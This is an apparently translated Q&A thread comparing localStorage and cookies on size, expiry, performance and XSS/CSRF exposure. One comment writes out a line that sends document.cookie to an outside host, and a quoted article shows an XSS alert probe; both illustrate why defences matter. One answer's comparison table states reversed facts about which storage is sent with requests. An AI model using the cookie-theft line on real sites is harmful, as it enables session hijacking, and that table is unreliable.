ChatGPT解决这个技术问题 Extra ChatGPT

本地存储与 Cookie

我想通过将所有 cookie 移动到本地存储来减少我网站的加载时间,因为它们似乎具有相同的功能。除了明显的兼容性问题外,使用本地存储替换 cookie 功能是否有任何优点/缺点(尤其是性能方面)?

可能的缺点:安全 (SSL) 页面上的 localStorge 值是隔离的。因此,如果您的站点同时具有 http 和 https 页面,您将无法在访问 https 页面时访问在 http 页面上设置的值。刚刚在 Magento 商店尝试了 localStorage 的 ajax 迷你购物车。史诗般的失败...
令人惊讶的良好支持(与我的预期相比)caniuse.com/#search=localstorage
一些用户的浏览器通常也会禁用 cookie。本地存储可以更好地为这些用户工作。
“可能的缺点:安全 (SSL) 页面上的 [localStorage] 值是孤立的” 这实际上是一个很大的优点。
这就是为什么您应该在您的网站上强制使用 SSL...如果您已经有可用的 SSL 版本,我认为没有理由提供页面的两个版本。

R
Ratmir Asanov

Cookie 和本地存储有不同的用途。 Cookies主要用于读取服务器端,本地存储只能由客户端读取。所以问题是,在你的应用程序中,谁需要这些数据——客户端还是服务器?

如果它是您的客户端(您的 JavaScript),那么一定要切换。您通过发送每个 HTTP 标头中的所有数据来浪费带宽。

如果它是您的服务器,本地存储就不是很有用,因为您必须以某种方式转发数据(使用 Ajax 或隐藏的表单字段或其他东西)。如果服务器只需要每个请求的总数据的一小部分,这可能没问题。

无论哪种方式,您都希望将会话 cookie 保留为 cookie。

根据技术差异,以及我的理解:

除了作为一种旧的数据保存方式之外,Cookie 还为您提供了 4096 字节(实际上是 4095)的限制——它是每个 cookie。每个域的本地存储高达 5MB — SO Question 也提到了它。 localStorage 是存储接口的实现。它存储没有过期日期的数据,并且只能通过 JavaScript 或清除浏览器缓存/本地存储的数据来清除 - 与 cookie 过期不同。


HTML5 具有会话范围的存储,也可以用作会话 cookie 的替代品。
@PatNiemeyer,您可以假设 sessionStorage 是一个 Cookie,在关闭浏览器(而不是选项卡)之前到期。 @darkporter,感谢您的回答。但是,想听听 Cookie 和本地存储之间的技术区别。等待您的编辑。
@OmShankar 我不确定您是否仍然有这个疑问,但不同之处在于:localStorage 停留 在客户端,而 cookies 与 HTTP 标头一起发送。这是它们之间最大(但不是唯一)的区别。
如果您的客户端应用程序与 REST API 对话,那么使用 cookie 存储和传输会话 id 在 REST 中是不习惯的。所以,对我来说,cookie 看起来像是一种旧技术,可能应该被本地存储取代(如果需要将一些数据(如会话 ID)传递给服务器,则 + JavaScript)。
本地存储不一定比 cookie 更安全,因为它容易受到 XSS 攻击。就个人而言,我会选择一个加密的 HTTPS cookie(可能使用 JWT 或 JWE),并带有一个精心策划的过期方案。即同时实施 cookie 级过期“策略”和服务器端 cookie“更新”过程,以减少恶意第三方使用 cookie 的机会。我在下面引用了 Stormpath 关于此事的文章的部分内容写了一个答案。
u
user229044

在 JWT 的上下文中,Stormpath 写了一篇相当有用的文章,概述了存储它们的可能方法,以及与每种方法相关的(缺点)优点。

它还简要概述了 XSS 和 CSRF 攻击,以及如何对抗它们。

我附上了下面文章的一些简短片段,以防他们的文章离线/他们的网站出现故障。

本地存储

问题:

Web 存储 (localStorage/sessionStorage) 可通过同一域上的 JavaScript 访问。这意味着在您的站点上运行的任何 JavaScript 都可以访问 Web 存储,因此很容易受到跨站点脚本 (XSS) 攻击。简而言之,XSS 是一种漏洞,攻击者可以在其中注入将在您的页面上运行的 JavaScript。基本的 XSS 攻击尝试通过表单输入注入 JavaScript,攻击者会在其中发出警报('You are Hacked');成一个表单,看看它是否由浏览器运行,是否可以被其他用户查看。

预防:

为了防止 XSS,常见的反应是对所有不受信任的数据进行转义和编码。但这远非故事的全部。 2015 年,现代 Web 应用程序使用托管在 CDN 或外部基础设施上的 JavaScript。现代网络应用程序包括用于 A/B 测试、漏斗/市场分析和广告的第三方 JavaScript 库。我们使用像 Bower 这样的包管理器将其他人的代码导入我们的应用程序。如果您使用的只有一个脚本遭到破坏怎么办?恶意 JavaScript 可以嵌入到页面中,并且 Web 存储受到威胁。这些类型的 XSS 攻击可以在他们不知情的情况下获取访问您网站的每个人的 Web 存储。这可能就是为什么许多组织建议不要在网络存储中存储任何有价值的东西或信任任何信息的原因。这包括会话标识符和令牌。作为一种存储机制,Web Storage 在传输过程中不强制执行任何安全标准。阅读和使用 Web Storage 的人必须尽职尽责,以确保他们始终通过 HTTPS 而不是 HTTP 发送 JWT。

饼干

问题:

Cookie 与 HttpOnly cookie 标志一起使用时,无法通过 JavaScript 访问,并且不受 XSS 的影响。您还可以设置 Secure cookie 标志以保证 cookie 仅通过 HTTPS 发送。这是过去利用 cookie 存储令牌或会话数据的主要原因之一。现代开发人员对使用 cookie 犹豫不决,因为他们传统上要求将状态存储在服务器上,从而破坏了 RESTful 最佳实践。如果您在 cookie 中存储 JWT,则作为存储机制的 cookie 不需要将状态存储在服务器上。这是因为 JWT 封装了服务器为请求提供服务所需的所有内容。但是,cookie 容易受到不同类型的攻击:跨站点请求伪造 (CSRF)。 CSRF 攻击是一种攻击类型,当恶意网站、电子邮件或博客导致用户的 Web 浏览器在用户当前已通过身份验证的受信任站点上执行不需要的操作时,就会发生这种攻击。这是对浏览器如何处理 cookie 的利用。 cookie 只能发送到允许它的域。默认情况下,这是最初设置 cookie 的域。无论您是在 galaxies.com 还是 hahagonnahackyou.com 上,都会发送 cookie 以作为请求。

预防:

除了 HttpOnly 和 Secure 之外,现代浏览器还支持 SameSite 标志。该标志的目的是防止cookie在跨站请求中传输,防止多种CSRF攻击。对于不支持 SameSite 的浏览器,可以通过使用同步令牌模式来防止 CSRF。这听起来很复杂,但所有现代 Web 框架都支持这一点。例如,AngularJS 有一个解决方案来验证 cookie 是否只能由您的域访问。直接来自 AngularJS 文档:执行 XHR 请求时,$http 服务从 cookie(默认情况下,XSRF-TOKEN)中读取令牌并将其设置为 HTTP 标头(X-XSRF-TOKEN)。由于只有在您的域上运行的 JavaScript 才能读取 cookie,因此您的服务器可以确信 XHR 来自在您的域上运行的 JavaScript。您可以通过包含 xsrfToken JWT 声明使此 CSRF 保护无状态: { "iss": "http://galaxies.com", "exp": 1300819380, "scopes": ["explorer", "solar-harvester", "seller"], "sub": "tom@andromeda.com", "xsrfToken": "d9b9714c-7ac0-42e0-8696-2dae95dbc33e" } 利用 Web 应用程序框架的 CSRF 保护使 cookie 在存储 JWT 方面非常可靠。通过检查 API 中的 HTTP Referer 和 Origin 标头,也可以部分防止 CSRF。 CSRF 攻击将具有与您的应用程序无关的 Referer 和 Origin 标头。

完整的文章可以在这里找到:https://stormpath.com/blog/where-to-store-your-jwts-cookies-vs-html5-web-storage/

他们还有一篇关于如何最好地设计和实施 JWT 的有用文章,关于令牌本身的结构:https://stormpath.com/blog/jwt-the-right-way/


好点。令人惊讶的是,在这样一个读得很好的问题上,以前没有提到本地存储的安全影响(或缺乏 XSS)——除了一个答案,恕我直言,它更安全!
老实说,我发现整个安全谈话有点让人分心。是的,页面上的其他脚本可以访问 localStorage...但是 XMLHttpRequest 也是如此...是的,HttpOnly 标志可以防止窃取 cookie,但浏览器仍会自动将其发送到匹配的域,所以...基本上,当您在页面上运行恶意脚本时,您已经被黑客入侵了。
@StijndeWitt 每一层保护都有自己的力量和弱点。所以通常最好有多个保护层。举个例子:HttpOnly 还可以防止像 window.location = 'http://google.com?q=' + escape(document.cookie); 这样的非 ajax 攻击。此攻击绕过浏览器 CORS 检查。
如果网站存在 XSS 漏洞,使用 cookie 作为存储将无法防止 CSRF 攻击。根据 OWASP 的说法,“任何跨站点脚本漏洞都可以用来破坏当今市场上所有可用的 CSRF 缓解技术”链接:github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/…
@JosephKreifelsII 不是。但是当你这样做时,你知道你正在这样做。 XSS 是在用户不知情和/或同意和/或理解的情况下自动执行此操作的过程。欺骗某人在控制台中输入内容称为 Self-XSS。
D
DevWL

使用 localStorage,Web 应用程序可以在用户浏览器中本地存储数据。在 HTML5 之前,应用程序数据必须存储在 cookie 中,包含在每个服务器请求中。大量数据可以本地存储,不影响网站性能。尽管 localStorage 更现代,但这两种技术各有利弊。

饼干

优点

旧版支持(它一直存在)

持久数据

到期日期

Cookie 可以标记为 HTTPOnly,这可能会在用户浏览器的会话期间限制 XSS 攻击(不保证完全免疫 XSS 攻击)。

缺点

每个域都将其所有 cookie 存储在一个字符串中,这会使解析数据变得困难

数据未加密,这成为一个问题,因为... ...虽然很小,但每个 HTTP 请求都会发送 cookie 大小有限 (4KB)

本地存储

优点

大多数现代浏览器的支持

直接存储在浏览器中的持久数据

同源规则适用于本地存储数据

不是随每个 HTTP 请求一起发送

每个域约 5MB 存储空间(即 5120KB)

缺点

之前不支持:IE 8、Firefox 3.5、Safari 4、Chrome 4、Opera 10.5、iOS 2.0、Android 2.0

如果服务器需要存储的客户端信息,您必须故意发送它。

localStorage 用法与会话一几乎相同。他们有非常精确的方法,所以从 session 切换到 localStorage 真的很简单。但是,如果存储的数据对您的应用程序非常重要,您可能会使用 cookie 作为备份,以防 localStorage 不可用。如果您想检查浏览器对 localStorage 的支持,您所要做的就是运行这个简单的脚本:

/* 
* function body that test if storage is available
* returns true if localStorage is available and false if it's not
*/
function lsTest(){
    var test = 'test';
    try {
        localStorage.setItem(test, test);
        localStorage.removeItem(test);
        return true;
    } catch(e) {
        return false;
    }
}

/* 
* execute Test and run our custom script 
*/
if(lsTest()) {
    // window.sessionStorage.setItem(name, 1); // session and storage methods are very similar
    window.localStorage.setItem(name, 1);
    console.log('localStorage where used'); // log
} else {
    document.cookie="name=1; expires=Mon, 28 Mar 2016 12:00:00 UTC";
    console.log('Cookie where used'); // log
}

“安全(SSL)页面上的localStorage值是隔离的”,因为有人注意到请记住,如果您从'http'切换到'https'安全协议,localStorage将不可用,其中cookie仍然可以访问。如果您使用安全协议,请注意这一点。


您所做的检查不是很可靠。有些浏览器和模式(私有)具有存储对象,但无法在其上设置值。检查实际支持的唯一方法是尝试对其进行设置删除。
由于“可以执行 SQL 注入”被列为 cookie 的反面,你是说它不能从 localStorage 执行?
Cookies 的另一个专业人士。 Cookie 可以标记为 HTTPOnly。这意味着它们不能从 JavaScript 访问,这反过来意味着没有恶意 XSS 攻击可以检索 cookie 内容。因此,我不一定会说本地存储比 cookie 更安全。
@Mr.Me 虽然 XSS 攻击无法读取 HTTPOnly cookie,但攻击者仍然可以执行用户可以执行的任何 HTTP 请求(根据定义),仅受浏览器会话限制。假设会话 cookie 是一个不透明的标识符,就像几乎所有会话 cookie 一样,读取 cookie 值仅对执行包含它的 HTTP 请求有用:仅通过 cookie 值不会学到任何东西。 (注意,会话 cookie 有时可以链接到特定的源 IP 地址、用户代理标头或其他浏览器特征;XSS 攻击执行来自浏览器的 HTTP 请求,因此它们匹配。)
HTTPOnly 标志仍然对攻击施加了限制:攻击只能在浏览器会话期间发生:当用户关闭浏览器时,它就结束了。可以执行涉及读取非 HTTPOnly cookie 的攻击,直到会话 cookie 标识符过期(由服务器确定),有时可能持续数月,因此 HTTPOnly 仍然限制攻击。所以 HTTPOnly 是一个有用的安全特性,但假设 HTTPOnly 使 XSS 成为一个小问题是非常危险的。
J
Jaeeun Lee

饼干:

在 HTML5 之前引入。有保质期。由 JS 或通过清除浏览器的浏览数据或过期日期后清除。将根据每个请求发送到服务器。容量为4KB。只有字符串能够存储在 cookie 中。有两种类型的 cookie:持久性和会话。

本地存储:

与 HTML5 一起引入。没有有效期。由 JS 或浏览器清除浏览数据清除。您可以选择何时必须将数据发送到服务器。容量为 5MB。数据无限期存储,并且必须是字符串。只有一种类型。


6. localStorage 只能存储字符串,原语和对象必须转换为字符串才能存储, 7. sessionStorage 也是可用的,与 localStorage 相同,只是它不持久化
K
KyleMit

还值得一提的是,当用户在某些版本的移动版 Safari 中以“私人”模式浏览时,不能使用 localStorage

引用自 2018 年 MDN topic on Window.localStorage 的 WayBack 档案:

注意:从 iOS 5.1 开始,Safari Mobile 将 localStorage 数据存储在缓存文件夹中,该文件夹会根据操作系统的要求偶尔进行清理,通常是在空间不足的情况下。 Safari Mobile 的隐私浏览模式也完全阻止写入 localStorage。


M
Muhammad Ali

主要区别:

容量:

本地存储:10MB

饼干:4kb

浏览器支持:

本地存储:HTML5

饼干:HTML4、HTML5

存储位置:

本地存储:仅限浏览器

Cookies:浏览器和服务器

发送请求:

本地存储:是

饼干:没有

访问自:

本地存储:任何窗口

Cookies:任何窗口。

到期日:

本地存储:永不过期,直到由 javascript 完成。

Cookies:是的,有有效期。

注意:使用那个,什么适合你。


p
pop850

那么,本地存储速度很大程度上取决于客户端使用的浏览器以及操作系统。 Mac 上的 Chrome 或 Safari 可能比 PC 上的 Firefox 快得多,尤其是使用更新的 API。不过,与往常一样,测试是您的朋友(我找不到任何基准)。

我真的没有看到 cookie 与本地存储的巨大差异。此外,您应该更担心兼容性问题:并非所有浏览器都开始支持新的 HTML5 API,因此 cookie 将是您提高速度和兼容性的最佳选择。


这只是一个内部项目,因此跨浏览器兼容性之类的东西并不是真正需要的。因为 cookie 是随每个 HTTPRequest 发送的(我的应用程序有大约 77 个请求),这意味着大约 500kB 的额外开销。我知道显而易见的解决方案是 CDN,但我想尝试一些不依赖于服务器的东西。我自己找不到任何基准,这就是为什么我希望这里有人知道。
为什么 Chrome 或 Safari 在 Mac 上会更快?无论您是在 Mac、Linux 还是 Windows 上,运行的浏览器代码几乎都是一样的。
A
Avinash Malhotra

本地存储最多可以存储 5mb 的离线数据,而会话也可以存储最多 5mb 的数据。但是cookies只能以文本格式存储4kb的数据。

LOCA 和 Session 以 JSON 格式存储数据,因此易于解析。但是 cookie 数据是字符串格式的。


K
Kai - Kazuya Ito

曲奇饼:

可以通过 JavaScript 访问,因此 Cookie 的数据可以被 XSS 攻击(跨站点脚本攻击)窃取,但是将 HttpOnly 标志设置为 Cookie 会阻止 JavaScript 访问,因此 Cookie 的数据可以免受 XSS 攻击。

容易受到 CSRF(跨站点请求伪造)的影响,但将 SameSite 标志与 Lax 设置为 Cookie 可缓解 CSRF,并将 SameSite 标志与 Strict 设置为 Cookie 可防止 CSRF。

必须有到期日,所以当到期日过后,Cookie 会自动删除,所以即使您忘记删除 Cookie,也会因为到期日而自动删除 Cookie。

一般大小约为 4KB(取决于浏览器)。

本地存储:

可以通过 JavaScript 访问,因此本地存储的数据可能会被 XSS 攻击(跨站点脚本攻击)窃取,然后,正如我所研究的那样,对于本地存储免受 XSS 攻击没有简单的预防措施。

不易受到 CSRF(跨站请求伪造)的攻击。

没有到期日期,因此如果您忘记删除本地存储数据,本地存储数据可以永久保留。

一般大小约为 5MB(取决于浏览器)。

我建议对敏感数据使用 Cookie,对非敏感数据使用本地存储。